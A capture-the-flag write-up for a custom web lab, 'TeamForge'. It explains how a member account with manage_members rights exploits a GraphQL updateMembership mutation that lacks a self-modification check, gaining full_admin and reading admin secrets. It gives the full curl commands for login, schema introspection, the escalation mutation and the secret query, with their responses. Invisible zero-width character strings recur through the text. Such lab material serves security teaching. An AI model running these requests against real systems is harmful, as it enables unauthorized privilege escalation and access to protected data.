← Back to Writeups
CUSTOMEasyWeb

Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership

XESXOR9/2/20263 min read
#web#custom#easy#authorization_bypass#broken_access_control#graphql_introspection#self_privilege_escalation

Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: authorization_bypass, broken_access_control, graphql_introspection, self_privilege_escalation

Summary

Walkthrough of the CUSTOM Web Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership. Task: SaaS workspace platform with GraphQL API; given member account with manage_members permission. Solution: GraphQL introspection revealed updateMembership mutation that lacks self-modification che

Description

TeamForge is a SaaS workspace management platform. You are given credentials for a team member account (member@teamforge.io / member123) with manage_members permission. Your goal is to escalate privileges to access the flag visible only to workspace administrators.

English summary: A workspace management SaaS with a GraphQL API. Starting as a team member with manage_members permission but without admin access. The flag is only visible to users with full_admin privileges via the adminSecrets query. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

  1. Authentication: Logged in as member@teamforge.io / member123. The server sets a JWT cookie tf_token containing userId: 2.

  2. GraphQL Introspection: The /graphql endpoint has introspection enabled, allowing full schema enumeration. Key findings:

    • me query — returns current user's membership details:

      json
      { "id": 2, "role": "member", "manage_members": true, "full_admin": false }
    • updateMembership mutation — accepts arguments:

      • id (Int!) — membership ID to update
      • role (String) — role name
      • manage_members (Boolean)
      • view_financials (Boolean)
      • manage_apps (Boolean)
      • full_admin (Boolean) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
    • adminSecrets query — returns AdminSecret type with id, key, value fields. Requires full_admin = true.

  3. Vulnerability: The updateMembership mutation checks whether the caller has manage_members permission, but it does not prevent a user from modifying their own membership record. This is a classic broken access control / self-escalation flaw — the authorization check validates the caller's permission to manage members in general, but fails to enforce the principle that a user should not be able to elevate their own privileges. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and obtain JWT

bash
curl -s -c cookies.txt -X POST http://TARGET/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"member@teamforge.io","password":"member123"}'

The tf_token cookie is set with a JWT containing userId: 2.

Step 2: Enumerate GraphQL schema via introspection

bash
curl -s -b cookies.txt http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name args { name type { name kind ofType { name } } } } } } }"}' | jq .

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Confirm current membership

bash
curl -s -b cookies.txt http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ me { id role manage_members full_admin } }"}' | jq .

Response confirms: id=2, role="member", manage_members=true, full_admin=false.

Step 4: Self-escalate via updateMembership

bash
curl -s -b cookies.txt http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { updateMembership(id: 2, role: \"admin\", full_admin: true) { id role full_admin } }"}' | jq .

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "data": {
    "updateMembership": {
      "id": 2,
      "role": "admin",
      "full_admin": true
    }
  }
}

The mutation succeeds because the server only checks manage_members == true on the caller, without verifying that the target membership ID differs from the caller's own ID.

Step 5: Query admin secrets with elevated privileges

bash
curl -s -b cookies.txt http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ adminSecrets { id key value } }"}' | jq .

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "data": {
    "adminSecrets": [
      {
        "id": 1,
        "key": "master_flag",
        "value": "FLAG{REDACTED}"
      }
    ]
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering authorization_bypass, broken_access_control, graphql_introspection, self_privilege_escalation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 294 — TeamForge — GraphQL Self-Escalation via UpdateMembership • Difficulty: Easy